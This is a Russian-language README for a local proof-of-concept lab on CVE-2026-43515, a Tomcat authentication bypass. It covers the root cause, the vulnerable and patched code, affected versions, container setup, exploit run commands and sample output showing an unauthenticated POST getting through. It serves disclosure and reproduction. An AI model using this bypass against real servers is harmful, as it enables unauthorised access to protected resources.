
PoC эксплуатации для CVE-2026-43515 (обход ограничений Apache Tomcat).
Вердикт об эксплуатируемости: подтверждено, что уязвимость эксплуатируема. POST-запрос к ресурсу, защищенному разделенной конфигурацией
<web-resource-collection>, полностью обходит аутентификацию. Требуемая формаweb.xmlнеобычна для стандартных развертываний — подробнее см. в Анализ.
CVE-2026-43515 — это уязвимость в логике оценки ограничений безопасности Apache Tomcat. Когда один <security-constraint> определяет несколько блоков , которые используют один и тот же шаблон расширения URL (например, ), но каждый объявляет разный HTTP-метод, Tomcat применяет ограничение только для HTTP-метода, объявленного в соответствующей коллекции. Все последующие коллекции молча игнорируются.
<web-resource-collection>*.htmlНамерение администратора:
<security-constraint>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>GET</http-method> <!-- collection[0] -->
</web-resource-collection>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>POST</http-method> <!-- collection[1] — silently dropped -->
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
Что Tomcat до исправления на самом деле применяет:
GET *.html → 401 — ограничение применено ✓POST *.html → 200 — ограничение молча отброшено ✗| Затронутый диапазон | Исправлено в |
|---|---|
| 7.0.0 – 7.0.109 | 7.0.110 |
| 8.5.0 – 8.5.100 | 8.5.101 |
| 9.0.0.M1 – 9.0.117 | 9.0.118 |
| 10.1.0.M1 – 10.1.54 | 10.1.55 |
| 11.0.0.M1 – 11.0.21 | 11.0.22 |
Ошибка находится в findSecurityConstraints(Request, Context) в org.apache.catalina.realm.RealmBase. Флаг matched и индекс pos были объявлены вне цикла по коллекциям:
// RealmBase.java — vulnerable
boolean matched = false;
int pos = -1;
for (int j = 0; j < collection.length; j++) {
// pattern matching sets matched = true and pos = j
// on the FIRST matching collection ...
}
if (matched) {
if (collection[pos].findMethod(method)) { // pos frozen to 0
results.add(constraints[i]);
}
}
Как только collection[0] совпала с шаблоном расширения *.html, pos был заморожен на 0. Вызов findMethod("POST") был выполнен для collection[0] (которая объявляет только GET) и вернул false. Никакое ограничение не было добавлено в results для POST-запроса, и AuthenticatorBase заключил, что запрос не подлежит никаким ограничениям.
Исправление (коммит 276087d) перемещает matched внутрь цикла и заменяет collection[pos] на collection[j], так что каждая коллекция оценивается независимо:
// RealmBase.java — patched
for (int j = 0; j < collection.length; j++) {
boolean matched = false; // ← moved inside the loop
// pattern matching ...
if (matched) {
found = true;
if (collection[j].findMethod(method)) { // ← j, not pos
if (results == null) {
results = new ArrayList<>();
}
results.add(constraints[i]);
}
}
}
Обход подтвержден и воспроизводим. Подробный журнал Tomcat однозначно показывает механизм:
// GET — constraint correctly applied
AuthenticatorBase.invoke Calling authenticate()
AuthenticatorBase.invoke Failed authenticate() test → 401
// POST — constraint silently dropped
AuthenticatorBase.invoke Not subject to any constraint → 200
Уязвимость срабатывает только при определенном шаблоне web.xml: один <security-constraint> с несколькими блоками <web-resource-collection>, которые используют один и тот же шаблон расширения, но объявляют разные HTTP-методы.
Такая конфигурация допустима согласно спецификации сервлетов, но на практике встречается редко. Большинство развертываний либо:
<http-method> полностью (защищая все методы), либо<security-constraint> для каждого метода.Развертывания, использующие шаблон раздельных коллекций для тонкого контроля доступа по методам на основе шаблонов расширений, подвержены уязвимости.
cve-2026-43515-poc/
├── Dockerfile # Tomcat 11.0.0-M1 (затронутая версия)
├── tomcat-users.xml # Один валидный пользователь: validuser:s3cret! / роль: admin
├── web.xml # Конфигурация, вызывающая уязвимость: раздельная web-resource-collection
├── logging.properties # Логирование уровня FINE для наблюдения за оценкой ограничений
└── exploit/
├── exploit.go # PoC — Go
| Инструмент | Версия | Примечания |
|---|---|---|
| Podman | ≥ 4.0 | Docker также подходит |
| Go | ≥ 1.22 | Для локального запуска эксплойта |
Нет внешних зависимостей Go.
podman build -t tomcat-cve-2026-43515 .
podman run -d --name tomcat-vuln \
-p 8080:8080 \
-v ./logging.properties:/usr/local/tomcat/conf/logging.properties:Z \
tomcat-cve-2026-43515
Подождите несколько секунд, затем проверьте:
curl -si http://localhost:8080/protected/secret.html | head -1
# Ожидается: HTTP/1.1 401
cd exploit
go run exploit.go \
-target http://localhost:8080 \
-path /protected/secret.html \
-username validuser \
-password s3cret!
Доступные флаги:
| Флаг | Значение по умолчанию | Описание |
|---|---|---|
-target | http://localhost:8080 | Базовый URL Tomcat |
-path | /protected/secret.html | Путь к защищенному ресурсу |
-username | validuser | Валидное имя пользователя для проверки |
-password | s3cret! | Пароль для проверки |
podman stop tomcat-vuln && podman rm tomcat-vuln
═══════════════════════════════════════════════════
CVE-2026-43515 — Apache Tomcat Constraint Bypass
═══════════════════════════════════════════════════
Target : http://localhost:8080/protected/secret.html
───────────────────────────────────────────────────
Probe 1 — GET without credentials
Expected: 401 (constraint applied to collection[0])
[1] GET (no credentials) → HTTP 401 ← ✓ constraint enforced as expected
Probe 2 — POST without credentials ← the exploit probe
Expected on VULNERABLE Tomcat: 200 (constraint NOT enforced)
[2] POST (no credentials) → HTTP 200 ← ✗ BYPASS CONFIRMED — constraint not enforced for POST
Probe 3 — GET with valid credentials (sanity check)
Expected: 200 (authenticated access granted)
[3] GET (with credentials) → HTTP 200 ← ✓ authenticated access granted
───────────────────────────────────────────────────
VERDICT: VULNERABLE
| Ресурс | Ссылка |
|---|---|
| Коммит с исправлением — 11.0.x | apache/tomcat@276087d |
| Полный анализ — запись в блоге | return-zero.dev/posts/cve-2026-43515 |
Этот репозиторий предназначен только для образовательных целей и локального анализа эксплуатируемости. Все тестирование проводилось в собственной контейнерной среде. Не запускайте данный PoC против систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения.